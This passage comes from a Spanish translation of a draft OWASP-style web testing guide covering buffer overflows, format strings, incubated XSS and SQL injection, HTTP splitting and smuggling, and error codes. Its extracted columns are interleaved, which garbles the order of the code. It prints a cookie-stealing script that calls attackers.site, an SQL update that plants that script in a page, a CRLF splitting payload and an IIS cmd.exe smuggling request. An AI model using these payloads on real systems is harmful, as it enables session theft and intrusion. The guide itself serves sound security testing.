Esto demuestra claramente cómo se puede utilizar el ingreso de datos para sobrescribir el puntero de instrucción con los valores suministrados por el usuario y el control de ejecución del programa. Una saturación de pila de datos también puede permitir la sobrescritura de estructuras basadas en pilas de datos como SEH (Structured Exception Handler, en español: controlador de excepciones estructurado) para controlar la ejecución de código y esquivar algunos mecanismos de protección de apilamiento.
Como se mencionó anteriormente, otros métodos para probar dichas vulnerabilidades incluyen utilizar ingeniería inversa en los binarios de la
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 231
Guia de pruebas 4.0 "Borrador"
aplicación, el cual es un proceso complejo y tedioso y utiliza técnicas de difuminación (fuzzing).
Pruebas de Caja Gris Al revisar el código en busca de una saturación de cúmulo de datos, es aconsejable buscar comunicaciones con funciones de bibliotecas inseguras como gets(), strcpy(), strcat() etc. que no validan la longitud de cadenas de fuente y copian ciegamente datos en búferes de tamaño fijo. Por ejemplo, considere la siguiente función:
El uso, relativamente más seguro, de strncpy()también puede llevar a una saturación de cúmulo de datos, ya que sólo restringe el número de bytes copiados en el búfer de destino. Si el argumento de tamaño que se utiliza para lograr esto se genera dinámicamente basado en los datos ingresados por el usuario o no se calcula exactamente dentro de la trayectoria, es posible la saturación de búferes de cúmulo de datos. Por ejemplo:
void func(char *source) { Char dest[40]; …
void log_create(int severity, char *inpt) { size=strlen(source)+1 char b[1024]; …. strncpy(dest,source,size) } if (severity == 1) { strcat(b,”Error occurred on”);
Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria la vulnerabilidad de saturación de pila de datos samba trans2open. (http://www.securityfocus.com/archive/1/317615).
strcat(b,”:”); strcat(b,inpt);
Las vulnerabilidades también pueden aparecer en la URL y desde el código de análisis de dirección. En tales casos, una función como memccpy() es generalmente empleada, ya que copia los datos en un búfer de destino desde la fuente mientras no se encuentre un carácter especificado. Considere la función:
FILE *fd = fopen (“logfile.log”, “a”);
void func(char *path)
fprintf(fd, “%s”, b);
{
fclose(fd);
char servaddr[40]; …
memccpy(servaddr,path,’\’); De lo anterior, la línea strcat(b,inpt) dará lugar a una saturación de cúmulo de datos si inpt excede los 1024 bytes. Esto no sólo demuestra el uso inseguro de strcat, también muestra lo importante que es examinar la longitud de las secuencias a las que hace referencia un puntero de carácter que se pasa como argumento a una función, en este caso, la longitud de cadena referenciada por char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los argumentos de la función y determinar longitudes de cadena al revisar el código.
….
En este caso, la información contenida en la ruta de acceso podría ser mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se provocará una saturación de pila de datos.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 232
Guia de pruebas 4.0 "Borrador"
Una vulnerabilidad similar se encuentra en el subsistema de Windows RPCSS (MS03-026). El código vulnerable copió los nombres de rutas de acceso UNC del servidor en un búfer de tamaño fijo, hasta que un '\' fue encontrado. La longitud del nombre del servidor, en este caso, era controlable por los usuarios.
Esta sección describe cómo probar ataques de cadena de formato que pueden utilizarse para bloquear un programa o ejecutar un código dañino. El problema surge por la utilización de datos ingresados por el usuario, que no han sido filtrados, como el parámetro de formato de cadena en ciertas funciones C que realizan el formateo, como printf().
Aparte de revisar manualmente el código de saturación de pila de datos, también pueden ser de gran ayuda las herramientas de análisis estático del código. Aunque tienden a generar muchos falsos positivos y apenas serían capaces de localizar una pequeña porción de defectos, sin duda ayudan a reducir la sobrecarga asociada con la búsquedas sencillas, como los bugs strcpy() y sprintf().
Varios lenguajes de estilo C disponen de un formato de salida por medio de funciones como printf (), fprintf () etc.. El formateo se rige a un parámetro de estas funciones como un especificador del tipo de formato, normalmente %s, %c etc.. La vulnerabilidad se presenta cuando se contactan funciones de formato que tienen una inadecuada validación de parámetros y datos controlados por el usuario.
Una variedad de herramientas como RATS, Flawfinder y ITS4 están disponibles para analizar lenguajes de estilo C. Un ejemplo simple sería printf(argv[1]). En este caso, el especificador de tipo no ha sido explícitamente declarado, lo que permite a un usuario pasar caracteres como %s, %n, %x a la aplicación, por medio de una línea de comandos de argumento argv [1].
Herramientas • OllyDbg: “Un depurador basado en windows, utilizado para el análisis de vulnerabilidades de saturación de búfer”: ollydbg.de • Spike, un fuzzer framework que puede utilizarse para explorar las vulnerabilidades y realizar pruebas largas: immunitysec.com • Brute Force Binary Tester proactivo:bfbtester.sourceforge.net
(BFB),
un
controlador
Esta situación tiende a ser precaria ya que un usuario que puede suministrar especificadores de formato, puede realizar las siguientes acciones maliciosas:
binario
• Metasploit, un framework de desarrollo, explotación y evaluación rápido: metasploit.com
Referencias Libros Blancos
Enumerar el proceso de la pila de datos: Esto permite a un adversario ver la organización del proceso vulnerable de apilamiento, mediante el suministro de cadenas de formato como, %x o %p, que puede conducir a la fuga de información sensible. También puede ser utilizado para extraer valores de "canario" cuando la aplicación está protegida con un mecanismo de seguridad para la pila de datos. Junto con una saturación de pila de datos, esta información puede utilizarse para saltarse el protector de apilamiento.
• Aleph One: “Smashing the Stack for Fun and Profit”: insecure.org • The Samba trans2open stack overflow vulnerability: securityfocus.com • Windows RPC DCOM vulnerability details: xfocus.org http://www.xfocus. org/documents/200307/2.html
Pruebas para la cadena de formato Resumen
Control del flujo de ejecución: Esta vulnerabilidad también puede facilitar la ejecución de código arbitrario, ya que permite escribir cuatro bytes de datos en una dirección suministrada por el adversario. El especificador %n es útil para sobrescribir varios punteros de función en la memoria con la dirección de la carga maliciosa. Cuando se contactan estos punteros de función sobrescritos, al ejecutarse pasan el código malicioso.
Negación de servicio: Si el adversario no está en condiciones de suministrar código malicioso para su ejecución, la aplicación vulnerable puede ser bloqueada suministrando una secuencia de %x seguido de %n.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 233
Guia de pruebas 4.0 "Borrador"
{ Cómo probar
printf(“The string entered is\n”);
Pruebas de Caja Negra
printf(“%s”,argv[1]);
La clave para probar las vulnerabilidades de cadena de formato es suministrar especificadores del tipo de formato al ingresar a la aplicación.
return 0; }
Por ejemplo, considere una aplicación que procesa la cadena URL http://xyzhost.com/html/en/index.htm o acepta ingresos desde formularios. Si existe una vulnerabilidad de cadena de formato en una de las rutinas que procesan esta información, suministra una dirección URL como http://xyzhost.com/html/en/index.htm%n%n%n o pasa %n en uno de los campos del formulario, podría bloquear la aplicación y crear un volcado de memoria en la carpeta de alojamiento.
Cuando se examina el desmontaje utilizando IDA Pro, la dirección de un especificador de tipo de formato es insertada en la pila y es claramente visible antes de contactar a printf.
Las vulnerabilidades de cadena de formato se manifiestan principalmente en servidores web, servidores de aplicaciones o aplicaciones web que utilizan código basado en C y C++ o scripts CGI escritos en C. En la mayoría de estos casos, un informe de errores o la función de registro como syslog () han sido contactados de una manera insegura.
Al probar los scripts CGI en busca de vulnerabilidades de cadena de formato, los parámetros de entrada pueden ser manipulados para incluir especificadores de tipo %x o %n. Por ejemplo una solicitud legítima como: http://hostname/cgi-bin/query.cgi?name=john&code=45765
Por otro lado, cuando se compila el mismo código sin "%s" como un argumento, la variación en el montaje es evidente. Como se ve abajo, no hay ninguna compensación (offset) que se inserte en la pila antes de contactar a printf.
puede ser alterada a http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
Si existe una vulnerabilidad de cadena de formato en el procesamiento rutinario de este solicitud, el evaluador podrá ver los datos de la pila que se imprimen en el navegador.
Si el código no está disponible, el proceso de revisar los fragmentos del ensamblaje (también conocido como ingeniería inversa binaria) rendiría información sustancial acerca de errores en la cadena de formato. Tome el ejemplo del código (1): int main(int argc, char **argv)
Pruebas de Caja Negra Mientras se ejecutan las revisiones de código, casi todas las vulnerabilidades de cadena de formato pueden detectarse con el uso de herramientas de análisis de código estático. Someter al código que se
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 234
Guia de pruebas 4.0 "Borrador"
muestra en (1) a ITS4, que es una herramienta de análisis de código estático, da el siguiente resultado: Referencias Libros Blancos • Format functions manual page: die.net • Tim Newsham: “A paper on format string attacks”: thenewsh.com • Team Teso: “Exploiting Format String Vulnerabilities”: julianor.tripod.com • Analysis of format string bugs: www.cis.syr.edu
Las funciones que son principalmente responsables de vulnerabilidades de cadena de formato son las que tratan los especificadores de formato como opcionales. Por lo tanto, al revisar manualmente el código, puede hacerse hincapié en funciones tales como: printf fprintf sprintf
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015) Resumen También conocidos como ataques persistentes, la prueba de incubación es un método de prueba complejo que necesita más de una vulnerabilidad de validación de datos para que funcione. Las vulnerabilidades incubadas se utilizan típicamente para llevar a cabo ataques de "abrevadero" contra usuarios legítimos de aplicaciones web. Las vulnerabilidades incubadas tienen las siguientes características:
snprintf vfprintf vprintf vsprintf
• En primer lugar, el vector de ataque debe ser constante y debe almacenarse en la capa de persistencia. Esto ocurrirá únicamente si una validación de datos débil está presente o los datos llegaron al sistema a través de otro canal como una consola de administración o directamente a través de un proceso de datos restringidos.
vsnprintf
Puede haber varias funciones de formateo que son específicas en la plataforma de desarrollo. Esto también debe revisarse en busca de la ausencia de cadenas de formato, una vez que se ha entendido su argumento de uso.
Herramientas • ITS4: “Una herramienta de análisis estático del código para la identificación de vulnerabilidades de cadenas de formato con código fuente”: cigital.com • Un constructor de cadenas de explotación para errores de formato: seclists.org
• Segundo, una vez que el vector de ataque ha sido "contactado", este necesita ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado requiere una validación de salida de datos débil para que el script pueda ser entregado al cliente de una manera ejecutable.
La explotación de algunas vulnerabilidades, o incluso características funcionales de una aplicación web, permitirá a un atacante plantar una sección de datos que más tarde se recuperará mediante un usuario desprevenido u otro componente del sistema, explotando así alguna vulnerabilidad.
En una prueba de penetración, los ataques incubados pueden utilizarse para evaluar la importancia de ciertos errores, utilizando el tema de la seguridad
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 235
Guia de pruebas 4.0 "Borrador"
particular que encontró para construir un ataque basado en el lado del cliente; este se utiliza generalmente para atacar a un gran número de víctimas al mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).
página resultante o descargue y ejecute el archivo desde el sitio de confianza.
Ejemplo de XSS en una cartelera Este tipo de ataque asíncrono cubre un gran espectro de vectores de ataque, entre ellos los siguientes:
• Los componentes de carga de archivos en una aplicación web permiten al atacante subir archivos corrompidos (imágenes jpg imágenes que explotan CVE2004-0200, imágenes png que explotan CVE-2004-0597, archivos ejecutables, páginas de sitios con componentes activos, etc.).
• Asuntos de cross-site scripting de publicaciones en foros públicos (vea Pruebas para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). Un atacante podría potencialmente almacenar secuencias de comandos malintencionados o el código en un repositorio en el servidor restringido de la aplicación web (por ejemplo, una base de datos) para que este código de script se ejecute mediante uno de los usuarios (los usuarios finales, administradores, etc.). El ataque incubado arquetípico es ejemplificado por una vulnerabilidad de cross site scripting en un foro de usuarios, cartelera o blog para inyectar código JavaScript en la página vulnerable y será eventualmente procesado y ejecutado en el navegador del usuario del sitio utilizando el nivel de confianza del sitio (vulnerable) original en el navegador del usuario.
[1] Introduzca el código JavaScript como el valor para el campo vulnerable, por ejemplo: <script>document.write(‘<img src=”http://attackers.site/cv.jpg?’+document.cookie+’”>’)</script>
[2] Dirija a los usuarios a navegar por la página vulnerable o espere a que los usuarios naveguen. Tenga un "oyente" en el servidor anfitrión del sitio del lado del atacante.para escuchar todas las conexiones entrantes. [3] Cuando los usuarios navegan por la página vulnerable, una solicitud que contiene su cookie (document.cookie se incluye como parte de la URL solicitada) será enviada al servidor anfitrión del sitio del atacante, como los siguientes: GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; %20JSESSIONID=ADIFFERENTVALUE:1;%20ExpirePage=https://vulnerable.site/site/; TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
• La inyección SQL/XPATH permite al atacante subir contenido a una base de datos, que será más tarde recuperado como parte de los contenidos activos en una página web. Por ejemplo, si el atacante puede publicar JavaScript arbitrario en una cartelera para que se ejecute por los usuarios, luego él podría tomar el control de su navegador (por ejemplo, XSS-proxy).
• Servidores mal configurados que permiten la instalación de paquetes de Java o componentes similares del sitio web (es decir Tomcat o consolas de alojamiento de web tales como Plesk, CPanel, Helm, etc.)
Cómo probar Pruebas de Caja Negra
[4] Use cookies obtenidas para personificar a los usuarios en el sitio vulnerable.
Ejemplo de inyección SQL Por lo general, este conjunto de ejemplos aprovecha ataques de XSS explotando una vulnerabilidad de inyección SQL. Lo primero que se comprueba es si el sitio de destino tiene una vulnerabilidad de inyección SQL. Esto se describe en la sección 4.2 para probar la inyección de SQL. Para cada vulnerabilidad de inyección SQL, hay un conjunto subyacente de restricciones que describe el tipo de consultas que el atacante o evaluador de edición puede hacer.
Ejemplo de carga de archivos Verifique el tipo de contenido que se permite subir a la aplicación web y la URL resultante para el archivo cargado. Cargue un archivo que explote un componente en la estación de trabajo de usuario local cuando se consulten o descarguen por parte del usuario. Envíe a su víctima un email u otro tipo de alerta para dirigirlo a navegar por la página. El resultado esperado es que se active la explotación cuando el usuario navegue por la
Entonces, el evaluador tiene que comparar los ataques XSS que ha ideado con los ingresos permitidos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 236
Guia de pruebas 4.0 "Borrador"
[1] De manera similar al anterior ejemplo de XSS, utilice un campo de página web vulnerable a problemas de inyección SQL para cambiar un valor en la base de datos que se utilizaría por la aplicación como ingresos que se muestran en el sitio sin la filtración adecuada (esto sería una combinación de una inyección de SQL y un problema XSS).
Como también debería ser obvio, la habilidad de cambiar el contenido de la página web en el servidor a través de cualquier vulnerabilidad que puede ser explotable en el host dará al atacante permisos de escritura en el webroot, y también será útil cuando se quiera plantar un ataque incubado semejante en las páginas del servidor web (en realidad, se trata de un método de propagación de la infección conocido para algunos gusanos de servidores web).
Por ejemplo, supongamos que hay un pie de página en la base de datos con todos los pies de página para las páginas del sitio web, incluyendo un campo de nota con el aviso legal que aparece en la parte inferior de cada página web. Puede utilizar la siguiente consulta para inyectar código JavaScript en el campo de avisos en el pie de página en la base de datos.
Pruebas de Caja Gris Las técnicas de pruebas gris/blancas serán las mismas que se discutieron previamente.
SELECT field1, field2, field3 FROM table_x WHERE field2 = ‘x’;
• Examinar la validación de datos ingresados es clave para mitigar esta vulnerabilidad. Si otros sistemas en la empresa utilizan la misma capa de persistencia, tienen una validación débil de ingresos y los datos pueden persistir a través de una “puerta trasera”.
UPDATE footer SET notice = ‘Copyright 1999-2030%20 <script>document.write(\’<img src=”http://attackers.site/cv.jpg?\’+document.cookie+\’”>\’)</script>’
• Para combatir el problema de la "puerta trasera" en ataques del lado del cliente, la validación de salida debe ser empleada para que los datos contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto, no se ejecuten.
WHERE notice = ‘Copyright 1999-2030’; • Vea la sección de Validación de Datos de la guia de revisión de código. [2] Ahora, cada usuario que navegue por el sitio enviará silenciosamente sus cookies al sitio del atacante (pasos b.2 al b.4).
Herramientas • XSS-proxy: sourceforge.net
Servidor mal configurado Algunos servidores web presentan una interfaz de administración que puede permitir a un atacante cargar componentes activos de su elección en el sitio. Esto podría ser el caso con un servidor Apache Tomcat que no obliga a utilizar credenciales fuertes para acceder a su gestor de aplicaciones web (o si los evaluadores de edición han sido capaces de obtener credenciales válidas para el módulo de administración por otros medios).
En este caso, puede cargarse un archivo WAR y una nueva aplicación web desplegarse en el sitio, que no sólo permita al evaluador de edición ejecutar localmente el código a su elección en el servidor, sino también para plantar una aplicación en el sitio de confianza, al que los usuarios regulares del sitio puedan acceder (probablemente con un mayor grado de confianza que al acceder a un sitio diferente).
• Paros: parosproxy.org • Burp Suite: portswigger.net • Metasploit: metasploit.com
Referencias La mayoría de las referencias de la sección de Cross-site scripting son válidas. Como se explicó anteriormente, los ataques incubados se ejecutan al combinar explotaciones como XSS o ataques de inyección SQL.
Advertencias • CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests: cert.org
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 237
Guia de pruebas 4.0 "Borrador"
• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site
más sencillo es proporcionado por las redirecciones en las que la dirección URL de destino depende de algún valor enviado por el usuario.
scripting vulnerability: archives.neohapsis.com
Libros Blancos • Web Application Security Consortium “Threat Classification,
Digamos, por ejemplo, que al usuario se le pide que elija si él o ella prefiere una interfaz web estándar o avanzada. La elección se pasa como un parámetro que se utilizará en el encabezado de respuesta para activar la redirección a la página correspondiente.
Cross-site scripting”: webappsec.org Más específicamente, si el parámetro 'interface' tiene el valor 'avanzado', la aplicación responderá de la siguiente manera: Pruebas para verificar la separación/contrabando de HTTP (OTGINPVAL-016)
HTTP/1.1 302 Moved Temporarily
Resumen
Date: Sun, 03 Dec 2005 16:22:19 GMT
Esta sección ilustra ejemplos de ataques que aprovechan características específicas del protocolo HTTP, ya sea mediante la explotación de las debilidades de la aplicación web o peculiaridades, en la manera en que los diferentes agentes interpretan los mensajes HTTP.
Esta sección analizará dos diferentes ataques dirigidos a encabezados HTTP específicos:
Location: http://victim.com/main.jsp?interface=advanced <snip> Al recibir este mensaje, el navegador llevará al usuario a la página indicada en el encabezado de ubicación. Sin embargo, si la aplicación no filtra la entrada de usuario, será posible introducir en el parámetro de la 'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se utiliza para separar líneas.
• Separación HTTP (HTTP splitting) • Contrabando HTTP (HTTP smuggling) El primer ataque explota la falta de desinfección de datos ingresados que permite a un intruso insertar caracteres CR y LF en los encabezados de la respuesta de la aplicación y 'separar' la respuesta en dos mensajes HTTP diferentes. El objetivo del ataque puede variar desde un envenenamiento del caché hasta un cross site scripting.
En el segundo ataque, el atacante explota el hecho de que algunos mensajes HTTP especialmente diseñados pueden ser analizados e interpretados de diferentes maneras según el agente que las reciba. El contrabando de HTTP requiere cierto nivel de conocimiento sobre los diferentes agentes que están manejando los mensajes HTTP (servidor web, proxy, firewall) y, por lo tanto, se incluirán solamente en la sección de prueba de Caja Gris.
En este punto, los evaluadores serán capaces de desencadenar una respuesta que se interpreta como dos diferentes respuestas para cualquiera que analiza, por ejemplo un caché web ubicado entre nosotros y la aplicación. Un atacante puede aprovechar esto para envenenar este caché web que proporcionará contenido falso en todas las solicitudes subsiguientes.
Digamos que en el ejemplo anterior el evaluador pasa los siguientes datos como el parámetro de la interfaz: advanced%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
Cómo probar Pruebas de Caja Negra
La respuesta resultante de la aplicación vulnerable será, en consecuencia, la siguiente:
Separación HTTP HTTP/1.1 302 Moved Temporarily Algunas aplicaciones web usan parte de los datos ingresados por el usuario para generar los valores de algunos encabezados de sus respuestas. El ejemplo
Date: Sun, 03 Dec 2005 16:22:19 GMT
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 238
Guia de pruebas 4.0 "Borrador"
Location: http://victim.com/main.jsp?interface=advanced Content-Length: 0
HTTP/1.1 200 OK Content-Type: text/html
[1] El evaluador de edición debe establecer correctamente los encabezados en la respuesta falsa para que pueda ser correctamente procesada en caché (por ejemplo, un encabezado Last-Modified con una fecha establecida en el futuro). Él o ella también podrían tener que destruir previamente las versiones de los localizadores de destino almacenados en memoria caché, mediante la emisión de una solicitud preliminar con "Pragma: no-cache" en los encabezados de solicitud.
Content-Length: 35
<html>Sorry,%20System%20Down</html>
[2] La aplicación, aunque no filtre la secuencia CR+LF, podría filtrar otros caracteres que son necesarios para un ataque exitoso (por ejemplo, "<" y ">"). En este caso, el evaluador puede intentar utilizar otras codificaciones (por ejemplo, UTF-7).
<other data>
La caché web verá dos respuestas diferentes, así que si el atacante envía inmediatamente después de la primera solicitud una segunda, pidiendo /index.html, la caché web empareja esta petición con la segunda respuesta y almacena en caché su contenido, para que en todas las solicitudes posteriores a victim.com/index.html que pasen por ese caché web aparecerá el mensaje "sistema fuera de servicio" (system down).
De esta manera, un atacante podrá desfigurar con eficacia el sitio para los usuarios utilizando ese caché web (todo el Internet, si la memoria caché web es un proxy inverso para la aplicación web). Por otro lado, el atacante podría pasar a estos usuarios un fragmento de código JavaScript que monta un ataque de cross site scripting, por ejemplo, para robar las cookies. Tenga en cuenta que mientras la vulnerabilidad esté en la aplicación, el objetivo serán sus usuarios. Por lo tanto, para buscar esta vulnerabilidad, el evaluador debe identificar todos los ingresos controlados por el usuario que influyen en una o más respuestas en los encabezados y comprobar si puede inyectar con éxito una secuencia CR+LF.
Los encabezados que son los candidatos más probables para estos ataques son:
[3] Algunos objetivos (por ejemplo, ASP) codificarán la parte de la ruta URL del encabezado de ubicación (por ejemplo, www.victim.com/redirect.asp), haciendo inútil una secuencia CRLF. Sin embargo, no codifican la sección de consulta (por ejemplo, ?interface=advanced), lo que significa que un signo de pregunta es suficiente para evadir el filtro.
Para una discusión más detallada sobre este ataque y otra información acerca de posibles escenarios y aplicaciones, consulte los documentos mencionados en la parte inferior de esta sección.
Pruebas de Caja Gris Separación HTTP Ayuda enormemente a una explotación exitosa de separación HTTP si se sabe algunos detalles de la aplicación web y del destino del ataque. Por ejemplo, diferentes objetivos pueden utilizar diversos métodos para decidir cuándo termina el primer mensaje HTTP y cuándo inicia el segundo. Algunos utilizan los límites del mensaje, como en el ejemplo anterior. Otros objetivos asumen que diferentes mensajes se transportarán en diferentes paquetes. Otros destinarán para cada mensaje un número de piezas de longitud predeterminada: en este caso, el segundo mensaje debe iniciar exactamente al principio del pedazo y, para ello, será necesario que el evaluador utilice relleno entre los dos mensajes.
• Location • Set-Cookie
Debe observarse que una exitosa explotación de esta vulnerabilidad en un escenario del mundo real puede ser bastante compleja, ya que varios factores deben tomarse en cuenta:
Esto podría provocar algunos problemas cuando el parámetro vulnerable es enviado en la URL, ya que es probable que una URL muy larga se trunque o filtre. Un escenario de Caja Gris puede ayudar al atacante a encontrar una solución: varios servidores de aplicaciones, por ejemplo, permitirán que la solicitud se envíe mediante POST en lugar de GET.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 239
Guia de pruebas 4.0 "Borrador"
Contrabando HTTP
<CRLF>
Como se mencionó en la introducción, el contrabando HTTP aprovecha las diferentes maneras en que un mensaje HTTP especialmente diseñado puede ser analizado e interpretado por los diferentes agentes (navegadores, cachés web, aplicaciones de firewalls). Este relativamente nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein, Ronen Heled y Steve Orrin en 2005.
POST /target.asp HTTP/1.0
<-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 Request #4
<--
Connection: Keep-Alive <CRLF>
Hay varias aplicaciones posibles y vamos a analizar una de las más espectaculares: la evasión de una aplicación de firewall. Consulte el artículo original del Libro Blanco (enlazado al final de esta página) para información más detallada y otros escenarios.
Evasión de la aplicación de Firewall Hay varios productos que permiten a la administración del sistema detectar y bloquear una solicitud web hostil según ciertos patrones maliciosos conocidos, que están incrustados en la solicitud. Por ejemplo, considere el infame ataque del directorio Unicode old contra el servidor IIS (http://www.securityfocus.com/bid/1806), en el que un atacante podría romper la www.root emitiendo una solicitud como: http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<comma nd_to_execute></command_to_execute>
Por supuesto, este ataque es bastante fácil de detectar y filtrar por la presencia de cadenas como ".." y "cmd.exe" en la URL. Sin embargo, IIS 5.0 es bastante exigente con las peticiones POST cuyo cuerpo es de hasta 48K bytes y trunca todo el contenido que está más allá de este límite cuando la cabecera Content-Type es diferente de laaplicación/x-www-formurlencoded. El evaluador de edición puede aprovechar esto mediante la creación de un pedido muy grande, estructurado de la siguiente manera: POST /target.asp HTTP/1.1
<-- Request #1
Lo que pasa aquí es que la petición #1 está hecha de 49223 bytes, e incluye también las líneas de petición #2. Por lo tanto, un firewall (o cualquier otro agente aparte de IIS 5.0) verá la petición #1, dejará de ver la petición #2 (sus datos serán sólo una parte de la #1), verá la solicitud #3 y no verá la solicitud #4 (porque el POST va a ser sólo una parte del encabezado falso xxxx).
Ahora, ¿qué pasa con IIS 5.0? Dejará de analizar la petición #1 después de 49152 bytes de basura (habrá alcanzado el límite de 48 K = 49152 bytes) y, por lo tanto, analizará la petición #2 como una nueva solicitud separada. La solicitud #2 afirma que su contenido es 33 bytes, que incluye todo hasta "xxxx:", que hace que IIS pierda la solicitud #3 (interpretándola como parte de la petición #2), pero encuentra la solicitud #4, ya que su POST comienza justo después de los 33 bytes o la solicitud #2. Es un poco complicado, pero el punto es que la URL de ataque no será detectada por el firewall (se interpreta como parte del cuerpo de una solicitud anterior), pero será correctamente analizada (y ejecutada) por IIS.
Mientras que en el caso anterior la técnica explota un error de un servidor web, hay otros escenarios en los que podemos aprovechar las distintas maneras en que diferentes dispositivos basados en HTTP permiten analizar mensajes que no son compatibles con 1005 RFC.
Host: target Por ejemplo, el protocolo HTTP permite sólo un encabezado ContentLength, pero no especifica cómo manejar un mensaje que tiene dos instancias de este encabezado. Algunas implementaciones utilizarán el primero de ellos mientras que otras preferirán la segunda, limpiando el camino para ataques de contrabando HTTP. Otro ejemplo es el uso del encabezado Content-Length en un mensaje GET.
Connection: Keep-Alive Content-Length: 49225 <CRLF> <49152 bytes of garbage> POST /target.asp HTTP/1.0 Connection: Keep-Alive Content-Length: 33
<-- Request #2 Tenga en cuenta que el contrabando HTTP *no* explota ninguna vulnerabilidad en la aplicación web de destino. Por lo tanto, puede ser algo complicado, en una relación de evaluador de edición, convencer al cliente que una contramedida debe ser buscada de todas maneras.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 240
Guia de pruebas 4.0 "Borrador"
como las que se describen en 4.2.1 Realice descubrimientos de motores de búsqueda y reconocimiento de fugas de información (OTG-INFO -001) Referencias Libros Blancos Errores de servidor web • Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and RelatedTopics”: packetstormsecurity.org • Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”: cgisecurity.com
Un error común que podemos ver durante la prueba es el HTTP 404 Not Found. A menudo este código de error proporciona información útil sobre el servidor web subyacente y componentes asociados. Por ejemplo: Not Found
• Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”: owasp.org
The requested URL /page.html was not found on this server.
• Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)”: securityfocus.com
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80
• Amit Klein: “HTTP Response Smuggling”: securityfocus.com • Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”: cgisecurity.com
Pruebas de errores de código (OTG-ERR-001)
Este mensaje de error puede generarse por solicitar una URL no existente. Después del mensaje común que muestra una página no encontrada, hay información sobre la versión del servidor web, sistema operativo, módulos y otros productos utilizados. Esta información puede ser muy importante desde el punto de vista de identificar el tipo y versión del sistema operativo y aplicaciones.
Resumen A menudo, durante una prueba de penetración en aplicaciones web, nos encontramos con muchos errores de código generados por aplicaciones o servidores web. Es posible hacer que estos errores se muestren al utilizar una solicitud personalizada, creada especialmente con herramientas o manualmente. Estos códigos son muy útiles para los evaluadores de penetración durante sus actividades, ya que revelan mucha información sobre bases de datos, errores y otros componentes tecnológicos directamente relacionados con aplicaciones web.
Esta sección analiza los códigos más comunes (mensajes de error) y se enfoca en su importancia durante una evaluación de la vulnerabilidad.
El aspecto más importante para esta actividad es centrar la atención en estos errores, verlos como una colección de información que ayudará en los pasos de nuestro análisis. Una buena colección puede facilitar la eficiencia de la evaluación reduciendo el tiempo total tomado para realizar la prueba de penetración.
Los atacantes a veces usan motores de búsqueda para localizar errores que divulguen la información. Las búsquedas se realizan para encontrar los sitios erróneos como víctimas al azar, o es posible buscar errores en un sitio específico utilizando el motor de búsqueda, herramientas de filtro
Otros códigos de respuesta HTTP tales como 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported pueden ser forzados por un atacante. Cuando reciben solicitudes especialmente diseñadas, los servidores web pueden proporcionar uno de estos códigos de error, dependiendo de su aplicación HTTP.
Probar en busca de información divulgada en los códigos de error del servidor web está relacionado con las pruebas de información en los encabezados HTTP, como se describe en la sección Use huellas digitales en el servidor web (OTG-INFO-002).
Errores de servidores de aplicaciones Los errores de aplicación son devueltos por la misma aplicación más que por el servidor web. Estos pueden ser mensajes de error de código del framework (ASP, JSP etc.) o pueden ser errores específicos devueltos por el código de la aplicación. Los errores detallados de la aplicación normalmente proporcionan información de las rutas del servidor, bibliotecas instaladas y versiones de aplicaciones.
Errores de base de datos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 241
Guia de pruebas 4.0 "Borrador"
Los errores de base de datos son devueltos por el sistema de base de datos cuando hay un problema con la consulta o la conexión. Cada sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio conjunto de errores. Esos errores pueden proporcionar información confidencial como las IP del servidor de base de datos, tablas, columnas y datos de inicio de sesión.
Además, hay muchas técnicas de explotación de inyección SQL que utilizan los mensajes de error detallados desde el controlador de la base de datos. Para información más detallada sobre este tema vea Pruebas de inyecciones de SQL (OTG-INPVAL-005).
no maneja la excepción de una forma controlada. Esto puede ser causado por un problema de resolución del nombre de la base de datos, procesamiento de valores variable inesperados u otros problemas de red.
Considere el escenario donde tenemos un portal de administración de base de datos, que puede utilizarse como un front-end GUI para emitir consultas de base de datos, crear tablas y modificar campos de bases de datos. Durante el POST de las credenciales de inicio de sesión, el siguiente mensaje de error se presenta en las pruebas de penetración. El mensaje indica la presencia de un servidor de base de datos MySQL:
